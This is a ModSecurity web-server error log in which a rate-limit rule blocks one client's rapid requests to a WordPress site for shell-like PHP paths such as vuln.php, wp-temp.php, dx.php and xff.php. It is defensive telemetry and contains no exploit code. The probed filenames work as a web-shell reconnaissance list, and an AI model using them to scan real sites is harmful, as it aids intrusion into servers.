[Sat Apr 25 22:11:57.111704 2026] [:error] [pid 59985:tid 59995] [client 20.215.66.169:31029] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vuln.php"] [unique_id "aezLrQF_zDvEhKvyTH6_rgAAAAg"]
[Sat Apr 25 22:11:57.704224 2026] [:error] [pid 3212:tid 3227] [client 20.215.66.169:42133] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-temp.php"] [unique_id "aezLrfg-28TY8_YLtUdMYQAAAQ0"]
[Sat Apr 25 22:11:58.299979 2026] [:error] [pid 3212:tid 3218] [client 20.215.66.169:42148] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-temp.php"] [unique_id "aezLrvg-28TY8_YLtUdMZAAAAQQ"]
[Sat Apr 25 22:11:58.958564 2026] [:error] [pid 3212:tid 3229] [client 20.215.66.169:55545] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-temp.php"] [unique_id "aezLrvg-28TY8_YLtUdMagAAAQ8"]
[Sat Apr 25 22:11:59.600495 2026] [:error] [pid 3212:tid 3234] [client 20.215.66.169:55525] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-temp.php"] [unique_id "aezLr_g-28TY8_YLtUdMawAAARQ"]
[Sat Apr 25 22:12:00.529484 2026] [:error] [pid 3212:tid 3236] [client 20.215.66.169:55491] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sxdfrt.php"] [unique_id "aezLsPg-28TY8_YLtUdMbwAAARY"]
[Sat Apr 25 22:12:01.540578 2026] [:error] [pid 59896:tid 59919] [client 20.215.66.169:29982] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sxdfrt.php"] [unique_id "aezLsbLLzhtkd-OXUgAFfwAAAFM"]
[Sat Apr 25 22:12:02.416715 2026] [:error] [pid 59896:tid 59918] [client 20.215.66.169:43605] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sxdfrt.php"] [unique_id "aezLsrLLzhtkd-OXUgAFgQAAAFI"]
[Sat Apr 25 22:12:03.096798 2026] [:error] [pid 3212:tid 3214] [client 20.215.66.169:55514] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sxdfrt.php"] [unique_id "aezLs_g-28TY8_YLtUdMdwAAAQA"]
[Sat Apr 25 22:12:03.699052 2026] [:error] [pid 59898:tid 59954] [client 20.215.66.169:31002] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aezLsx-4vImxb0kbdze1DgAAAMA"]
[Sat Apr 25 22:12:04.338290 2026] [:error] [pid 59897:tid 59932] [client 20.215.66.169:55497] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aezLtPBrrkdzpEbmK4eQbAAAAIU"]
[Sat Apr 25 22:12:04.901571 2026] [:error] [pid 59985:tid 59996] [client 20.215.66.169:55522] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aezLtAF_zDvEhKvyTH6_sAAAAAk"]
[Sat Apr 25 22:12:05.676109 2026] [:error] [pid 3212:tid 3231] [client 20.215.66.169:64844] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aezLtfg-28TY8_YLtUdMgAAAARE"]
[Sat Apr 25 22:12:08.604172 2026] [:error] [pid 59896:tid 59902] [client 20.215.66.169:43642] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aezLuLLLzhtkd-OXUgAFhwAAAEI"]
[Sat Apr 25 22:12:13.452980 2026] [:error] [pid 3212:tid 3232] [client 20.215.66.169:64843] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aezLvfg-28TY8_YLtUdMlwAAARI"]
[Sat Apr 25 22:12:20.439923 2026] [:error] [pid 59898:tid 59968] [client 20.215.66.169:47469] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aezLxB-4vImxb0kbdze1EwAAAM4"]
[Sat Apr 25 22:12:43.218575 2026] [:error] [pid 59896:tid 59905] [client 20.215.66.169:31009] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aezL27LLzhtkd-OXUgAGHwAAAEU"]
[Sat Apr 25 22:12:44.090496 2026] [:error] [pid 59896:tid 59903] [client 20.215.66.169:47429] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aezL3LLLzhtkd-OXUgAGJAAAAEM"]
[Sat Apr 25 22:12:46.952903 2026] [:error] [pid 59896:tid 59905] [client 20.215.66.169:55494] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aezL3rLLzhtkd-OXUgAGKwAAAEU"]
[Sat Apr 25 22:12:49.382450 2026] [:error] [pid 3212:tid 3221] [client 20.215.66.169:45277] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aezL4fg-28TY8_YLtUdNKwAAAQc"]
[Sat Apr 25 22:12:51.447939 2026] [:error] [pid 3212:tid 3232] [client 20.215.66.169:29968] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aezL4_g-28TY8_YLtUdNMAAAARI"]
[Sat Apr 25 22:12:52.728963 2026] [:error] [pid 59896:tid 59916] [client 20.215.66.169:42146] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aezL5LLLzhtkd-OXUgAGRQAAAFA"]
[Sat Apr 25 22:12:54.172623 2026] [:error] [pid 59897:tid 59947] [client 20.215.66.169:53035] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aezL5vBrrkdzpEbmK4eQsAAAAJQ"]
[Sat Apr 25 22:12:56.051844 2026] [:error] [pid 59896:tid 59910] [client 20.215.66.169:64852] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aezL6LLLzhtkd-OXUgAGcQAAAEo"]
[Sat Apr 25 22:12:58.137441 2026] [:error] [pid 59898:tid 59955] [client 20.215.66.169:43586] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amdin.php"] [unique_id "aezL6h-4vImxb0kbdze1MwAAAME"]
[Sat Apr 25 22:13:01.053388 2026] [:error] [pid 59896:tid 59918] [client 20.215.66.169:52877] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amdin.php"] [unique_id "aezL7bLLzhtkd-OXUgAGkgAAAFI"]
[Sat Apr 25 22:13:04.313321 2026] [:error] [pid 3212:tid 3226] [client 20.215.66.169:53001] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amdin.php"] [unique_id "aezL8Pg-28TY8_YLtUdNQAAAAQw"]
[Sat Apr 25 22:13:06.135586 2026] [:error] [pid 59898:tid 59963] [client 20.215.66.169:43616] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amdin.php"] [unique_id "aezL8h-4vImxb0kbdze1OgAAAMk"]
[Sat Apr 25 22:13:07.136101 2026] [:error] [pid 59897:tid 59933] [client 20.215.66.169:31025] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/huya.php"] [unique_id "aezL8_BrrkdzpEbmK4eQ1gAAAIY"]
[Sat Apr 25 22:13:08.593340 2026] [:error] [pid 59985:tid 59993] [client 20.215.66.169:42119] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/huya.php"] [unique_id "aezL9AF_zDvEhKvyTH7ABQAAAAY"]
[Sat Apr 25 22:13:10.508708 2026] [:error] [pid 59985:tid 59989] [client 20.215.66.169:29991] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/huya.php"] [unique_id "aezL9gF_zDvEhKvyTH7ABwAAAAI"]
[Sat Apr 25 22:13:11.937451 2026] [:error] [pid 59897:tid 59946] [client 20.215.66.169:30994] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/huya.php"] [unique_id "aezL9_BrrkdzpEbmK4eQ2wAAAJM"]
[Sat Apr 25 22:13:13.489335 2026] [:error] [pid 59896:tid 59923] [client 20.215.66.169:52905] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/puc.php"] [unique_id "aezL-bLLzhtkd-OXUgAG1QAAAFc"]
[Sat Apr 25 22:13:14.657960 2026] [:error] [pid 3212:tid 3226] [client 20.215.66.169:45289] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/puc.php"] [unique_id "aezL-vg-28TY8_YLtUdNTgAAAQw"]
[Sat Apr 25 22:13:15.721026 2026] [:error] [pid 59985:tid 59998] [client 20.215.66.169:42130] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/puc.php"] [unique_id "aezL-wF_zDvEhKvyTH7ACwAAAAs"]
[Sat Apr 25 22:13:16.927727 2026] [:error] [pid 59985:tid 60011] [client 20.215.66.169:53042] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/puc.php"] [unique_id "aezL_AF_zDvEhKvyTH7ADAAAABg"]
[Sat Apr 25 22:13:20.230836 2026] [:error] [pid 59896:tid 59918] [client 20.215.66.169:42122] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aezMALLLzhtkd-OXUgAG8wAAAFI"]
[Sat Apr 25 22:13:21.525452 2026] [:error] [pid 59985:tid 59993] [client 20.215.66.169:43623] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aezMAQF_zDvEhKvyTH7AEAAAAAY"]
[Sat Apr 25 22:13:23.382159 2026] [:error] [pid 59985:tid 59989] [client 20.215.66.169:55509] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aezMAwF_zDvEhKvyTH7AFgAAAAI"]
[Sat Apr 25 22:13:25.161509 2026] [:error] [pid 59896:tid 59920] [client 20.215.66.169:55492] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aezMBbLLzhtkd-OXUgAHCgAAAFQ"]
[Sat Apr 25 22:13:26.093089 2026] [:error] [pid 59896:tid 59916] [client 20.215.66.169:55542] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ewp.php"] [unique_id "aezMBrLLzhtkd-OXUgAHEQAAAFA"]
[Sat Apr 25 22:13:27.506805 2026] [:error] [pid 3212:tid 3217] [client 20.215.66.169:43599] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ewp.php"] [unique_id "aezMB_g-28TY8_YLtUdNdQAAAQM"]
[Sat Apr 25 22:13:28.840887 2026] [:error] [pid 59897:tid 59937] [client 20.215.66.169:52973] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ewp.php"] [unique_id "aezMCPBrrkdzpEbmK4eQ7wAAAIo"]
[Sat Apr 25 22:13:30.807278 2026] [:error] [pid 59896:tid 59913] [client 20.215.66.169:52883] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ewp.php"] [unique_id "aezMCrLLzhtkd-OXUgAHFQAAAE0"]
[Sat Apr 25 22:13:32.305459 2026] [:error] [pid 59897:tid 59928] [client 20.215.66.169:29963] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kikikoko.php"] [unique_id "aezMDPBrrkdzpEbmK4eQ8QAAAIE"]
[Sat Apr 25 22:13:33.396526 2026] [:error] [pid 59985:tid 59996] [client 20.215.66.169:64868] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kikikoko.php"] [unique_id "aezMDQF_zDvEhKvyTH7AHgAAAAk"]
[Sat Apr 25 22:13:34.017412 2026] [:error] [pid 59897:tid 59935] [client 20.215.66.169:52893] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kikikoko.php"] [unique_id "aezMDvBrrkdzpEbmK4eQ8gAAAIg"]
[Sat Apr 25 22:13:35.093668 2026] [:error] [pid 59985:tid 59988] [client 20.215.66.169:29970] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kikikoko.php"] [unique_id "aezMDwF_zDvEhKvyTH7AIAAAAAE"]
[Sat Apr 25 22:13:35.808675 2026] [:error] [pid 3212:tid 3233] [client 20.215.66.169:42628] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aezMD_g-28TY8_YLtUdNjQAAARM"]
[Sat Apr 25 22:13:36.467860 2026] [:error] [pid 3212:tid 3238] [client 20.215.66.169:34059] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aezMEPg-28TY8_YLtUdNkQAAARg"]
[Sat Apr 25 22:13:37.557140 2026] [:error] [pid 3212:tid 3235] [client 20.215.66.169:29993] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aezMEfg-28TY8_YLtUdNlAAAARU"]
[Sat Apr 25 22:13:38.742925 2026] [:error] [pid 3212:tid 3226] [client 20.215.66.169:64862] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aezMEvg-28TY8_YLtUdNlgAAAQw"]
[Sat Apr 25 22:13:39.555467 2026] [:error] [pid 59896:tid 59908] [client 20.215.66.169:52865] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aezME7LLzhtkd-OXUgAHIgAAAEg"]
[Sat Apr 25 22:13:40.284746 2026] [:error] [pid 59898:tid 59959] [client 20.215.66.169:53045] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aezMFB-4vImxb0kbdze1RgAAAMU"]
[Sat Apr 25 22:13:41.017759 2026] [:error] [pid 59896:tid 59920] [client 20.215.66.169:55507] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aezMFbLLzhtkd-OXUgAHJQAAAFQ"]
